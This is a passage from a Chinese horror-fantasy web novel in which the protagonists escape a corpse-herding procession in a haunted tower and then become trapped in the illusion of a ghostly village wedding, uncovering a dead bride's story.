齐栩有点担心的望着他,楚明铮又伸手在他脑袋上揉了揉,安抚道:“看我的。” 说完,那支赶尸队伍刚好绕过塔楼的这一侧,目光空洞,脖颈僵硬挺直,直视前方的朝楚明铮等人走来。 最开始的几秒,楚明铮跟他俩一样,安静的缩在塔楼的墙角。 一秒,两秒,三秒……漫长的队列慢慢从他们面前移动过去,直到最末尾的几位尸体也飘飘忽忽走过去的刹那,楚明铮以迅雷不及掩耳之势弹跳起身,倏然蹿到了赶尸队伍的队尾去。 齐栩:“?!” 魏仞:“?!” 这人不要命了?! 楚明铮回身对他俩做了个噤声的手势,自己面不改色跟着尸队,一步一步的往前走。 死人们向来五感迟钝,感知外界全凭本能,因此一时也没发现队伍里多了个人,楚明铮成功混入其间,跟着走了一整圈楼层,都安然无恙。 他很快来到了那间小门跟前。 这里就是出口! 楚明铮迅速脱离队伍,贴近小门,将手握在门把手上,用力向下一拧,试图从里将门推开。 然而门锁纹丝不动,无论怎么拧那个门把手,都无法将出口打开。 楚明铮的背后出了一身冷汗,只好先放弃这条思路,抬腿跟上赶尸大部队,先回到齐栩和魏仞那里再说。 他刚一迈腿,变故陡然出现。 一小块石子凌空而来,直接砸在了楚明铮的脚下,不偏不倚,连毫厘之差都没有,在楚明铮身畔的地板上发出沉闷的“咕咚”一声脆响。 楚明铮浑身血液都凉了半截。 只见眼前的穿着寿衣的尸体们仿佛终于察觉到了动静,不约而同站定脚步,缓缓朝后转过身来。 留给楚明铮反应的时间只有不到半秒,他在电光火石之间,抬腿一蹬粗糙塔壁,连攀几步弹跳而起,瞬间用掌心勾住了天花板和墙角处一个恰到好处的凸起石块。 楚明铮喘息着在半空调整了一下姿势,整个人呈大字形反身用手掌和双脚牢牢支撑住身体,指纹和鞋底的摩擦力跟塔壁尽最大可能性勾嵌住。 这些尸体的头颅大多数都是被缝制到躯干上去的,估计是为了赶路需要,针脚缝的极紧,极其不方便上下移动脑袋。 楚明铮像个蜘蛛似的扒在天花板上,低头朝下看。 他发现尸体们最多只能通过移动整个身体,来实现让视线左右移动的目的。 所以他们看不见扒在天花板上的楚明铮。 楚明铮微微松了一口气,然后目光顺着刚才石子飞来的角度望过去,只见塔层的角落里还藏着个人。 四会长半个身形隐没在黑暗里,只有一双充满恶意的眼睛抬起来,冲着天花板上的楚明铮微微一笑。 这层塔原来不止他们三个人,四会长最开始也被传送到这里了,只是此人一直小心谨慎藏匿身形,没让他们发现而已。 事实证明他的思路也的确是正确的,只有敌在明,我在暗,才能最大程度的坑害敌人。 楚明铮居高临下和他对视片刻,同样意味不明的笑了。 穿着寿衣的尸体们左右晃动着摇摇欲坠的脑袋,环顾了几圈,没找到异动的来源,决定转身继续赶路了。 四会长俯身又捡了块石头,继续抬眼冲楚明铮一笑,随即扬手攒力,抓起石头便向天花板的楚明铮砸去! 这一下若是砸实在了,楚明铮轻则被发现方位,重则就直接摔下来了。 就在千钧一发之际,四会长忽觉脖颈一紧! 身后有人单手扼住他的脖颈,一只手就将他重重锁喉,另一只手绕到身前来,用力将他手中的石块强行掰开,逼着他将身形压低,石块被迫放置在地面上。 四会长陈兆金拼命挣扎,然而身后人的力气也不小。 “齐……栩……”他从喉咙里嘶哑着叫嚣道:“放开……” 齐栩自始至终没张口说过一句话,只一味的对他使用蛮力。 陈兆金也害怕动静太大,把赶尸群的目光吸引过来,于是当即也闭了嘴,闷声跟齐栩角力抗衡。 赶尸的队伍并不知晓这边的战斗,仍然兀自向前走去。 楚明铮趁他们从自己身边走过,天花板进入视线死角的空档,从天花板上一跃而下,三步并作两步冲到齐栩面前,从地上捡起那枚石子,扬手砸在了陈兆金的脑壳上。 陈兆金跌跌撞撞的往下跌,头顶鲜血直流,血水几乎要滚涌进眼睛里。 但是他同样很抗硬,一声不吭的以一对二。 三人在角落里死死扭打在一处,齐栩是十二岁的心智,二十四岁的力气,楚明铮转会挑脆弱的地方下黑手,陈兆金在这俩个不讲武德的人手里很快落了下风。 “你们再逼我——”陈兆金声音极低的咬牙切齿:“再逼我,信不信我跟你们同归于尽。” 楚明铮弯起眼睛一笑,回答道:“不用,你一个人死就行。” “而且现在就可以实现,瞧,他们又转过来了。” 陈兆金心里一惊,下一个瞬间,他被楚明铮在后背上狠狠拍了一掌,向前拍飞而出! 整个身躯踉跄数米远,刹那间将整齐划一的赶尸队伍横向冲散。 几个苍白的死人手骨同时从身后接住了他。 陈兆金:“?!” 这群鬼如此贴心的吗? 铺天盖地的寒意随之袭来,一瞬间贯穿了他的后心和手臂,以及所有被鬼触碰过的地方。 陈兆金的大脑有片刻的停滞思考,无数枯瘦的白骨从面门上抓挠而下。 “啊啊啊啊啊——” 血肉横飞,身首异处。 刚才还十分完整的一个大活人,转眼间就被撕成了碎片,血呼刺啦的一坨瘫软散落在地上。 为首的赶尸人手中握着长长的旗幡,嘴里念念有词。 “挡我还乡者,诛。” 齐栩听着这念咒一般的词句,心里忍不住不寒而栗,下一秒令人更加不寒而栗的事情发生了。 一整支队伍的尸体,在分食了陈兆金后,竟齐刷刷的朝楚明铮和齐栩二人转过身来。 它们面无表情,麻木而呆滞,诡异的气息充斥了塔楼的每一个角落—— 作者有话说:下章小齐恢复记忆[爆哭] 第97章 镇灵邪塔(三) 一拜天地 这场景简直不要太糟糕了。 齐栩下意识的就去回头看楚明铮,寻求楚明铮的帮助,看他能变出什么奇诡的新招数来对付眼前这一众死人面孔。 楚明铮沉默两秒,选择了最直截了当的原始方式。 他一人一边抓起齐栩和老魏,掉头就跑! 一整个连队的尸体紧随其后! “噔噔噔噔噔……” 赶尸队是由二三十具没有主体意识的死人组成的,每个死人身上都牵系着粗麻绳,几道绳索相束缚,将整个队伍牢牢固定在一起,每具尸体的脚腕上大概也上了固定措施,一走起路来居然真像个标准的行军队伍。 整齐划一迈开腿向前,整齐划一脚后跟落地,听起来脚步声干脆利落,踢踏之间段落节奏感极强。 这种节奏感十足的走路姿势换了平时任何一个场合,都能称得上赏心悦目,唯独此刻例外。 每一寸近在咫尺的脚步都仿佛威压至甚的催命符。 楚明铮三人被这恐怖的赶尸队伍满层塔楼追着跑。 “这么跑下去也不是个事啊!”魏仞大喊。 情急之下楚明铮回头看了一眼,然后紧急变道,一手将齐栩两人朝前用力推出去,自己则刹那回身,跟满队尸首迎面相撞! “师父!”齐栩惊喝出声。 楚明铮回身的刹那劈手便夺赶尸人手中的旗幡,那赶尸人显然猝不及防,没料到过此间居然有过关者敢直接上手抢他的旗帜,楚明铮动作利落,紧急之中手上爆发出惊人的力道,下一个瞬间就将此物空手夺白刃抢夺而过! 满队尸体脚步齐齐一顿,在原地摇晃几秒,似乎是在思考应该跟着谁走。 楚明铮将旗帜一扬,高竖而起,朝反方向狂奔而去! 一众尸体呆懵懵的在地上打了个转,腐朽的大脑不假思索,全凭本能齐刷刷也扭过身去,跟着楚明铮一起改道。 魏仞再次被惊掉了下巴:“还能这样……” 尸体大队转了个方向跑,那么为了防止跟它们在圆形的塔楼里迎面撞上,齐栩和魏仞也紧跟着改变了方向,变成追在大部队身后跑。 他俩危险系数断崖式降低,赶尸队现在只追着楚明铮一个人跑。 齐栩心急如焚:“怎么办,我师父他也撑不了多久啊,他,他……” 说话间齐栩目光一闪,他在末尾那具尸体的腰间看到了一个暗沉的腰牌,上边隐约刻着几个字。 齐栩快跑两步,上前将其顺走,拿在手上了。 “喂你干什么!”魏仞怒道:“死人的东西你也敢拿?” 齐栩将那枚腰牌一类的东西递给他看。 “东川,赵钰。”魏仞将腰牌上的字迹念了出来,疑惑的看着齐栩:“这好像是个地名和人名。” “对,这是那具尸体的姓名和家乡。”齐栩急促道:“魏先生你听过赶尸人最初的来历吗?” 魏仞一点头:“当然。” “赶尸人是古代的一众特有职业,负责通过赶尸的方式,将客死他乡的战士或者其他孤魂野鬼的尸体,带回家乡安葬,入土为安。” 齐栩抓着腰牌跟上大部队:“所以这队赶尸队伍的目的地是东川,他们的执念是回到东川入土为安,按照正常逻辑帮助他们完成心愿就可以安全脱身了。” “可是,可是我们现在被困在这个塔楼里,到哪儿去帮他们入土为安呢?” 楚明铮在队伍的最前方拔腿狂奔,抛开一行人追赶逃命的脚步声的话,楼层里其实很安静,毕竟死人不会说话。 所以楚明铮很清晰的听到了齐栩的分析,心里暗暗松了口气,心说这徒弟虽然记忆失去了十来年,但好歹智力还在,还好还好,能救得过来。 他带着赶尸队伍在楼层里跑了数十圈,此时已经濒临力竭了,再不想办法结束这场拉锯,楚明铮毫无疑问会脱力而死。 怎么办怎么办…… 东川赵钰,东川……赵钰……这条线索能给他们什么启发? 楚明铮脑海忽然灵光一现,他闪电般回头对齐栩道:“你去塔层的边缘看一眼,看这栋塔楼,最底下的土壤是什么颜色?” 齐栩和魏仞不敢怠慢同时向右挪动身形,借着头顶倾泻而下的天光向下一瞥,果断报出了答案。 “红色!这里的土地是红色的。” “红色土壤最典型的分布地点是当今昆明市东川区,古代称之为东川府,尸体赵钰身上的腰牌写的家乡,就是东川府!塔层之下的那方红土地很有可能就是这群尸体的家乡。” “想办法让这群尸体跳到红土壤上去!尸骨归于旧土,不正是落叶归根吗?” 齐栩恍然大悟,当即奋力转身,跟带队而来的楚明铮迎面撞上。 楚明铮惊惧道:“你过来干什么!我让你闪一边去!” 齐栩没有给他说更多话的机会,闪电般将楚明铮手中旗帜一夺,侧身的刹那将楚明铮推至大部队旁边,自己高举引魂旗帜,从塔层边缘一跃而下! “齐栩!” 二三十位尸体兄弟莽莽撞撞的随着引魂旗帜招展的方向,怒摔而下!顷刻间跌落在红土地上,溅起一地飘飞而沉重的尘土。 尸体落地的瞬间,归乡人千年的怨灵也就烟消云散了。 楚明铮大步赶到塔层边缘,只见齐栩正一手扳住塔层边上一块凸显出来的石头,一手握着旗帜,整个身体悬空在二层,见楚明铮伸手来救他便亢奋的一笑,随手将旗帜丢了下去,然后就被楚明铮拉拽上来了。 “你下次有什么计划能不能跟我说一声!”楚明铮抱怨道:“一点准备的功夫都没有。” 齐栩十分委屈:“师父你自己每次也都不打招呼说上就上啊,这怎么能怪我……” 楚明铮抬手敲了敲他的脑壳:“闭嘴,我的决定什么时候轮到你插手了?” 齐栩眨巴了一下眼睛,倏然笑了:“这样才对。” 楚明铮疑惑:“什么这样才对?” “你刚才骂我的样子,才是我记忆中的那个师父。”齐栩小声道:“之前一直太温柔了,师父,你温柔的我害怕。” 楚明铮:“……” “行了,别扯那些有的没的了,赶紧去出口那儿看看吧。”魏仞不耐烦的打断他俩。 合作结束,魏仞并没有起上什么作用,楚明铮对他的语气也很难客气的起来:“你又打算在副本里搞职场霸凌吗魏长官?” “我没有!” “你有没有不由你说了算,齐栩说了算。” “那他的发言就太过有失偏颇了!” 三个人说话间来到了二层的出口处,楚明铮重新将手放在了门把手上,向下一拧,这次很轻松就推开了。 楚明铮带着两人走进了漆黑的通道口处,这里说是个通道,其实就是塔内的楼梯间,连接着这四层,楚明铮根据过往经验推测,第一关是随机投放,离开第一关后,解锁那层关卡就会经历哪层关卡。 三人先试着往下走了一层,推了推第一层塔楼的入口,发现推不开,于是只好重返二楼,再向二楼往上走了一层。 三楼的入口一推就开了。 迎面而来一阵热热闹闹的炮竹声响,满目明亮而鲜艳的红绸,四下张灯结彩,双喜二字并排而立,相得益彰的贴在各处门帘和墙壁处。 这是一方不大不小的农家院子,院中摆满桌菜酒席,红色桌布喜气洋洋,来来往往无数宾客从席间穿行而过。 这些宾客都没有脸,原本生长着五官面容的部位全是一团白色的糊状物,它们像正常人一样,在中间来往走动,这场面显得格外瘆人。 “这是什么地方?”齐栩小声问。 楚明铮还没来得及回答,魏仞便凝重道:“旧时代农村的婚礼。” “早些年偏远地区发展还没那么完全的时候,有些村落仍然沿用着过去的习俗,我年少的时候见过,那婚礼的规格和布景,就长这样。” 楚明铮瞥他一眼,低声道:“看来年纪大也是有好处的嘛,我还以为上了年纪的男人智商情商会自动消解呢。” 魏仞咬牙切齿的怒怼:“谁都有变老的那一天,楚明铮你拿此话来攻击我,不也是攻击几十年后的你自己?” 楚明铮冷笑一声:“我老了可没你这么讨人嫌。” 魏仞脸色铁青的别过脸去,他一边生着闷气,心里却一边突然回想起一个事。 当时会议室爆炸瞬间,齐栩在重伤前的第一个反应,其实是把身侧的自己一把推开的。 这事当时没人看见,魏仞出于在外维护自己面子的需要,也没给任何人说,危机时刻居然被平时跟自己最不对付的小辈给救了,说出去成何体统。 魏长官一直把这事埋在心里,所以齐栩重伤后楚明铮数次怼他,他虽然嘴上不饶人,心里却也没计较了。 他将注意力收回来,专注的看着眼前这诡异的景象。 魏仞很快察觉到了不对劲的地方,一众忙忙碌碌的无脸人里,有两个身影显得颇为奇怪,那是两个在席间互相倒酒的男人,他俩的脸都是别过去的,也看不清面容,但是能感觉到此二人动作十分小心翼翼。 身上喜庆的红绸缎也挂的不伦不类,活像是两个误闯婚礼的流浪汉。 楚明铮也注意到了那两人,他出声疑惑道:“那好像是……老周和王熊?” 周自重仿佛有所感应一般,在席间猛然回头,直勾勾就撞上了楚明铮和魏仞的目光,他登时激动的热泪盈眶,活像是看到了救星。 当即抛下王熊,穿着红绸缎,畏畏缩缩尽量降低存在感的从酒席间隙里挪过来了。 无脸人有一搭没一搭的从他身侧穿行而过。 “楚明铮!”周自重老泪纵横,上前握住他的手,就差没腿一软跪下来了:“我们从刚传送就一直被困在这里!这群鬼也不管我们,一直自顾自的喝酒吃菜。” “我自己分析说,这是个农村婚礼现场,但是从始至终也没看见新郎新娘啊,整个地方跟鬼打墙一样,无论如何都挣脱不出去,也找不到破局的点。” 楚明铮思索片刻,目光朝他身后望去:“王熊没给你找事吧?” “没,他自己都自顾不暇呢。” “行,那你跟紧我。”楚明铮将他肩膀一拍,朝身后推去。 齐栩老老实实的叫了声:“周叔叔好,你在我身边站着就行。” 很普通的一句话,然而就在齐栩话音落下的瞬间,一整个屋子的无脸人齐刷刷的朝他们几个转过来了头颅。 ……几百号没有脸的鬼,直勾勾注视着你。 说不渗人是假的。 楚明铮莫名其妙的转向齐栩,问了一句:“你干什么了,它们为什么都看你?” 齐栩牙齿咯咯打颤着惊悚道:“我,我也不知道……” 下一秒,十来号村民忽然朝他们举步走来,伸出苍白枯瘦的手,七手八脚的将齐栩从人群中拨开拎出来,动作十分粗暴,完全不给人一点喘息的余地。 楚明铮眼睛一凛就要阻止:“你们干什么!放开他!” 没有鬼听他的。 楚明铮上手就要阻拦,然而在某些程度上,鬼的力道远超于活人的血肉凡胎。 楚明铮,魏仞和周自重三人合力都没能把齐栩从鬼爪里救下来,只能眼睁睁看着齐栩被数个鬼村民越拖越远。 楚明铮心里发急,刚要暴走动手,周自重及时的将他一拦:“楚哥别急!我觉得小齐应该没事。” 楚明铮怒道:“你怎么知道?” “小齐什么都没干,哪有一上来就奔着把玩家往死弄去的?” 齐栩闷哼一声,被几个村民合力扛在了肩膀上,一路可怜巴巴的喊了几声:“师父……” 看的楚明铮心如刀绞,另一边有几个同样无脸人的孩童,正蹦蹦跳跳的在院子门口拍手作揖,声音稚嫩,显得格外兴高采烈。 “新娘子梳洗打扮去啦!打扮去啦!” “我们有好看的新娘子可以看了!” …… “新娘子?!”楚明铮一怔,随即意识到了什么。 这是一个农家婚礼现场,齐栩被当成了新娘子,现在送进去打扮了? 啊?! 楚明铮思考了半天“齐栩”跟“新娘子”两个词语之间的关联性,震惊的连担心齐栩的安危都忘了。 齐栩被几个鬼一路扛到了农村大院后的厢房里去,青白色的鬼爪用力将他往梳妆台前一按,黄铜花镜里照出青年人惶恐失魂的面容。 “你们要干什么——啊!别戳我眼睛!” 齐栩惨叫着坐在镜子前躲避,因为他的反抗,身后骤然又伸出了好几双手,将他的手臂和肩膀按的更死,几乎是强迫他扣在梳妆台前。 青衣罗裙的女人面无表情缓步而来,手上拿着盒类似于涂脸的膏状物,香味刺鼻,颜色死白,虽然是膏状物,但是油膏之间颗粒感十足,看着有些令人作呕。 齐栩恐惧的盯着她,还有她手上的东西。 “别,姐姐我求你了,我还年轻,我不能毁容啊啊——” 冰凉的膏状触感沾湿了他的脸颊,女人手上捧着那盒子,另一只手拎着支小刷子一样的工具,在膏状物中蘸一下,然后往齐栩脸上唰唰唰开始……涂墙。 请原谅齐栩在此处采用了涂墙这个词。 事实上女人的举动跟涂墙也没有什么分别了,他被几只手强行抬起下颌,毛刷蘸满白色颜料膏在他脸颊上顺滑而过。 三下五除二就被铺平晕开,毛刷的触感将他弄的极为难受,整张脸又湿乎又黏腻,刺鼻的香精味道更是充斥了他所有的感官。 齐栩痛苦的拧起五官,下一秒皱起来的眉头又被面前给他化妆的女鬼抬手打了一下。 身侧有人给她递来一盘颜料盒,女鬼在齐栩惊恐的注视下,放下小刷子,拿起一支别的什么笔,往颜料里点洒数下,最首端的毛尖浸软,随即女鬼握笔,对准他眼睛周围的部位就开始戳戳打打。 齐栩倒抽一口凉气,他几乎能清晰的感受到那酸苦的颜料洇进他的眼睛里去了,这下他什么都看不见,眼睛也睁不开了。 好在周围的这群鬼也没有伤害他的意思,只是把他按在化妆镜前,无论如何都不让他动弹。 又不知道过了多长时间,女鬼总算移开了画笔,齐栩也随之被允许睁开眼睛视物。 他颤巍巍的朝自己面前的铜花镜看去,险些没一个心梗昏厥过去。 镜子里的人长了一张什么玩意儿!? 他的脸从额头到下颌尖都被人涂的死白,两只眼睛上的胭脂水彩更是抹的仿佛他下一秒就要上戏台子唱戏去了一般。 双颊之上抹着两团大大的红云,仿佛一个年画娃娃。 更可气的是,他原本硬朗英挺的一双剑眉,此时被人用画笔勾勒出一个细长条的柳叶形状,秀美弯弯,眉梢微扬,跟他那双天生水汪的眼睛放在一起一衬,活脱脱一个明秀的少女啊! 齐栩这下是真的惊慌失措了起来,它们不会要自己以这副尊容出门去见楚明铮吧? 齐栩天崩地裂,心情茫然怎欲哭无泪四个字了得。 “这太难看了姐姐们,我,我这么出去的话,新郎官不要我的,各位行行好——啊!!!” 齐栩双手作揖,正哀求到一半,后脖颈一痛,身形一软,整个人骤然倒在了梳妆台桌面上。 几个身形飘忽的鬼在他身侧打转半晌,做出几个意味不明的手势,随即有人去后院取来粗绳,众鬼七手八脚的把失去意识的齐栩往后一拎,手腕并拢,用麻绳捆紧实了。 另有人抱来一只大公鸡。 罗裙女人袅袅婷婷走过来,她手里一左一右拿着两块红盖头,往齐栩头上盖了一块,又往大公鸡脑袋上盖了一块。 剩下几个身形高壮的汉子听候吩咐,将大公鸡和昏迷的齐栩,分别带去了该去的地方。 楚明铮等人在堂前站着等候。 在齐栩被带进屋里之后,席间那群无脸人就发生了格外诡异的变化,它们的动作仿佛被按下了0.5倍速键,一举一动都极为缓慢。 一个个如同蜗牛一般,在席间挪动着身形,更显诡异可怖了。 楚明铮焦急不安的在门前转来转去,如果不是周自重始终在旁边小声劝着,他估计下一秒就要冲进去抢新娘,啊不对,抢徒弟了。 “怎么还不出来?”楚明铮烦躁道。 “你徒弟是新娘子嘛,新娘子你懂不啦?新娘子就是要描眉画眼精心打扮的伐~” 楚明铮忍无可忍给了他一棒槌:“……你个西北大汉装什么上海人!” 周自重“嗷呜”一声,捂着额头眼泪汪汪:“讨厌。” 院外立着一颗老槐树,老槐树下站了个衣衫破烂的老头子,此时正慢悠悠的朝他们踱步过来,楚明铮所有注意力都在屋内齐栩的动静上,无暇理会其他。 等到他注意到这个老头的时候,老人家已经手捧着一只大大的红花球站在了他面前。 红花球下缀着一张红纸,红纸上用毛笔书写了两个字。 新,郎。 楚明铮:“?” 老头子也没有脸,但是他微微扬起了头,肢体语言看起来兴致不错。 他拿着红花球,倏然一下,戴在了楚明铮的脖子上。 楚明铮:“……?” 谁是这场婚礼的新郎? 周自重和魏仞同时惊悚的看向楚明铮。 就连刚刚不动声色躲到他们这边来的王熊,也忍不住侧目而视。 就在楚明铮被大红球套上脖子的一瞬间,周围的无脸村民们又同时恢复了正常行动,他们若无其事的继续在席间穿梭,喝酒,吃菜。 老人家给楚明铮带完红球,然后手一背,施施然而去。 留下楚明铮和他的其他小伙伴们一脸懵。 堂屋外,炮仗惊天一声巨响,七零八落的红色绸带飘飞开来,头上盖着红盖头,身上披着红色罗裙的新娘子被人扶着双手,从台阶上搀了下来。 楚明铮神色一凛,他意识到那个盖着红盖头的新娘正是齐栩。 完全不会认错,不然谁家新娘子长得比房梁还高。 “齐栩!”楚明铮急走数步就要上前,被几个无脸村民拦在了几米远的地方。 方才还在席间闲坐着的无脸村民们纷纷站起身来,围到齐栩身边去哄笑打闹,有人将沾满灰土的水用小桶装着往齐栩身上泼,有人伸手去按齐栩盖着红盖头的脑袋,还有人拼命用身体去挤新娘子,哈哈大笑着试图将新娘子挤得踉跄在地。 楚明铮越看越急眼,厉声呵斥一声:“让开!” 组织婚闹的几个拦路虎无脸人不让,楚明铮大步走到一旁的酒席上,拎起装酒的杯盏,用力往桌角一磕一砸,露出锋芒锐利的瓷器边缘,大步返身走回来,一柄锋芒直指拦路的鬼。 “让,开。”楚明铮提高声音,一字一句道。 “我是新郎,这是我的婚礼,你们来主人家吃席,却对主人家的新娘子不恭敬,乱搞婚闹,大家都乡里乡亲的,你们是要砸我婚礼的场子吗?”楚明铮咄咄逼人,目光和手中锐器寒光一样锋利。 无脸拦路人彼此看了看,无声的把路给楚明铮让开了。 楚明铮狂奔到齐栩身侧,一把将那“娇弱”的新娘子从人群中扶着护了过来,随即手中瓷片威势不减,逼着前来婚闹的无脸鬼不得不后退。 新娘子始终一言不发,紧紧贴在楚明铮身侧,以一米八七的身高,在楚明铮身旁做小鸟依人状。 这场面其实看起来很滑稽,换了平时楚明铮绝对不允许齐栩这样靠着自己撒娇。 奈何今天事出紧急没办法,他一时也管不了那么多。 婚闹的人逐渐都消停了。 与之对应的是其余人等竟全数起身,一齐挤到了楚明铮和齐栩两人身前,成半扇形包围状,缓缓逼近。 楚明铮一蹙眉,心说这群人到底要干什么? 周自重隔着人群拼命给他递眼色,示意他向堂屋里看。 楚明铮转过身去,只见堂屋里是一片铺着红地毯的空地,两对穿着喜服的夫妻对立而坐,堂屋正中间是供着香烛和果品的神龛。 “拜天地,拜天地!”周自重小声提醒道。 楚明铮了然,这群鬼怪现在要求他在这里,跟齐栩拜天地。 对面的新娘子含羞垂眼,红盖头盈盈而晃,周遭无脸村民们围拢齐聚,人头攒动,鬼吟时发出的低语一时听上去竟真的跟新婚现场的鼓掌和祝福声一模一样。 楚明铮深吸一口气,心说算了,拜天地就拜天地,反正是和齐栩,那也没什么不能拜的。 只要副本能让他们安全出去就行,也不是不能按照鬼怪的要求来一下。 起码目前看来,这个副本没有什么显而易见的危险险境。 “咚……”空中锣鼓清脆敲响,死人尖细的声音在空中回响:“一拜天地——” 楚明铮镇定着面容,跟新娘子并肩,朝那神像处鞠了一躬。 “二拜高堂——” 楚明铮同样面无表情,朝两对无脸鬼高堂弯了弯身子。 最后一声吟唱响起:“夫妻对拜——” 楚明铮转过身,跟新娘子面对面而立,他深吸一口气,刚要俯身下去,然而他心头忽然一凉,心说不对! 因为他俯身下去的刹那,只见眼前新娘子的脚下,是没有影子的。 这不是齐栩! 楚明铮紧急起身,面色冷若冰霜,抬手猛然掀起对方红盖头,视线里一片绯红过后—— 只见红盖头下,赫然是一只大公鸡。 楚明铮冷静的挑了一下眉,随即抬眼,用质问的目光扫过宾客众人。 “这什么意思?”他指了指大公鸡,低声道:“跟我拜堂的是只公鸡。” “那你们把齐栩放哪儿去了?” 无人回应他的话,无脸宾客们再一次举步上前,试图用这种无形的威压逼迫楚明铮完成拜堂。 楚明铮抬头又朝人群外刚才周自重他们所站立的地方看了一眼,却见周自重和魏仞,王熊都已经不见了踪影。 门口的那棵老槐树也不见了。 楚明铮抬手看了看自己掌心里的纹路,又看了看附近越来越逼近的鬼怪们,当即就对自己眼下的境况有所了然了。 这里又是一个幻境。 他一个人被卷入了幻境里,周自重和魏仞他们都在幻境外,那同样的,齐栩也在幻境外。 想到这里,楚明铮轻轻松了口气,这可能说明齐栩没事。 或者说暂时没他想象的那么危险。 楚明铮开始思索,自己从进来拜堂到现在,是从哪一步开始被卷入幻境的呢? 他在进屋前还跟周自重对视了目光。 堂屋!是从进入堂屋的那一刻开始,楚明铮跟其他活人有了一个分界点。 进入堂屋拜天地,等于说踏入了活人和死人的楚河汉界。 他现在在死人的地界里,他难道必须按照死人的要求拜完天地才能离开吗? 楚明铮并不这么觉得。 周围的鬼众越来越密集,逼的越来越近,阴气森人越来越冷…… 猝不及防间,楚明铮骤然伸手,一把拧掉了面前大公鸡的脖颈! 周围鬼众害怕被鸡血溅到,不约而同的朝后退了几步。 楚明铮毫不犹豫,上前提起公鸡的脖子,捏着它断裂的细弱喉咙,将其中热血在四周呼啦啦泼洒一番,众鬼忙不迭的向后退去。 楚明铮眼底泛起嘲弄的神色:“驱鬼的利器之一就是大公鸡的鸡血,你们既然怕这个东西,又何苦找来一个公鸡跟我拜堂?” “以后这种损人不利已的事少干。” 他捏着大公鸡的喉咙,一路畅通无阻,走到了后院的厢房里去。 如果没记错的话,齐栩当时就是被群鬼拖到厢房里去梳洗打扮的,虽然这是幻境里的厢房,但是没准有什么线索呢。 楚明铮抓着鸡脖子,步履如飞的将一众鬼怪甩在了身后。 他推开厢房的门,一个瘦弱的人影正背对着他,坐在梳妆镜前。 那是个女人的身影,看背影很窈窕,身形纤弱,穿着一身粗制滥造的大红喜服,头上盖了顶红盖头。 脑袋无力的歪到了一边去,看起来像是睡着了。 不过楚明铮知道,她不是睡着了。 这个新娘子是已经死了。 她的手脚都被人用绳索绑起来了,只不过可能是为了拜堂方便起见,两只手腕并没有反绑在身后,而是用绳索捆了一并束缚在身前。 这种绑法显然不是很科学,因为这种绑法下,被束缚的对象还是有很大的自由活动空间的。 换言之,因为双手绑在身前,所以做抵抗推拒这类动作的时候,都会比绑在身后方便的多。 这个道理齐栩也懂,当年他跟楚明铮关系最差的时候,他在府邸强行压制楚明铮时,都会把他翻个面,强迫楚明铮背过身去,然后将楚明铮双腕反缚在身后。 这样楚明铮就动弹不得了。 不过村民们显然是疏忽掉这一点了,因为眼前的新娘此时正用那双被捆在身前的手,握住一柄短而锋利的刀,直挺挺的将刀刃刺进了胸前。 喜服前襟一片污血,显然已经死去多时了。 桌上一盏黄铜花镜,还放着些梳妆的物件。 不过新娘已死,这些东西就显得没用了起来。 楚明铮若有所思的站在这死去的新娘身侧,这个副本从进入到剧情走到现在,所有的诡异之处,还有疑点,统统在他心里转了一个来回。 诡异的替身大公鸡,自戕而死的惨烈新娘,一整个村子的无脸人。 楚明铮心神微动,不由得离新娘靠近了几寸,他在新娘惨白裸露的皮肤上,看到了一丝端倪—— 作者有话说:嗷[爆哭]没写到恢复记忆[爆哭]对不起,下章他俩正式拜堂的时候写 第98章 镇灵邪塔(四) “你也给我滚!”楚明…… 这层楼里的人物关系和事件发生顺序是颠倒的。 新娘裙裾上沾了洒落堂前的红色飘带,说明她是已经拜完堂回来,然后才自杀在洞房里的。 整个事件的正确顺序应该是这样的。 死去的新娘不愿意结这个婚,但是被村人压迫着绑上了花轿,然后经历惨无人道的婚闹,被迫跟一只大公鸡拜堂成亲,拜堂过后不堪受辱在洞房里自杀。 至于她为什么不愿意结婚,楚明铮通过大公鸡等元素猜测了一下,要么是送进洞房配冥婚,要么新郎是个智障,总之婚后不会有太好的事情发生。 婆家才会需要用绳子把新娘绑上花轿。 整个第三层副本是新娘临死前混沌的幻境,俗称走马灯。 因为是已死之人的梦境,所以顺序颠倒混乱,楚明铮在院外等着的时候身份是新郎,可等他踏入堂屋开始拜堂之后,身份又变成了新娘,新郎则是那只被砍了头的大公鸡。 等到他意识到自己身处幻境,并将陷进去的主体意识抽离而出,跳出新郎新娘角色,再观察眼前场景的时候,第三层鬼魂幻境的主人也就在横死的地方,展露了她的真身。 楚明铮默然在洞房里站立了一会儿,桌上铜镜竖立着,照出新娘子红盖倾覆的正影。 “你的死亡是一个既定的事实,这个结局是我们谁都没办法修改的。”楚明铮开口注视着镜中被红盖头覆盖着面容的新娘子,和颜悦色的说。 “但是你死后亡魂的执念,在一定程度上是可以从牢笼中挣脱出去的。” 鬼新娘靠在梳妆台前,身形仍然维持着死人特有的僵硬和委顿,一言不发。 楚明铮上前两步,将掌心放在了鬼新娘的肩膀上,心平气和的说:“死后这么多年,灵魂却始终被困在那场残害你至深的婚礼上,是很累的吧。” 鬼新娘的红盖头微微晃动了一下,但是幅度并不明显。 “我没办法让你死而复生。”楚明铮看着镜子里的红盖头继续道:“但是如果你的灵魂想挣脱当年的束缚,我可以帮你杀出去。” “这个婚,不想结就不结了,你自己决定,我听你指挥。” 鬼新娘腐朽已久的躯干在楚明铮的掌心下微微颤动起来,很难用别的词汇来形容一只鬼的肢体语言和情绪。 如果非要形容的话,鬼新娘这激烈的情绪,看起来很像是“棺材板压不住”的具象化表达。 楚明铮将手从她肩头放开,平静道:“如果你同意的话,现在可以把红盖头掀开,我就按照刚才答应你的事情执行了。” 鬼新娘抬起一只千疮百孔的秀手,指尖摸到了红盖头粗糙的边缘,倏然一下将整个布片扯落而下。 仿佛鸟笼外边用作装饰的那层绣布被人掀开了,露出了笼中鸟精致灵动的身形。 楚明铮俯身跟她并肩,让自己的视线跟鬼新娘处在同一水平线上,鬼新娘苍白的面容随即映入眼帘。 那是个模样清秀,目光内敛的少女,因为营养不良而身材细弱,宽大的喜服穿在她身上显得格格不入。 能看得出来是个鬼,但并不是厉鬼,她生前个性懦弱文秀,不敢有怨气,死后当然也没办法聚拢太多怨气到身体里成为厉鬼,去报复那些该死的村民。 没有怨气,难以复仇,但是横死的执念又宛如道道枷锁,将她困在这个自己给自己制造的死前场景里,灵魂难以安息。 她在自己的执念里举行了一次又一次的婚礼,又自己把自己杀死了一次又一次。 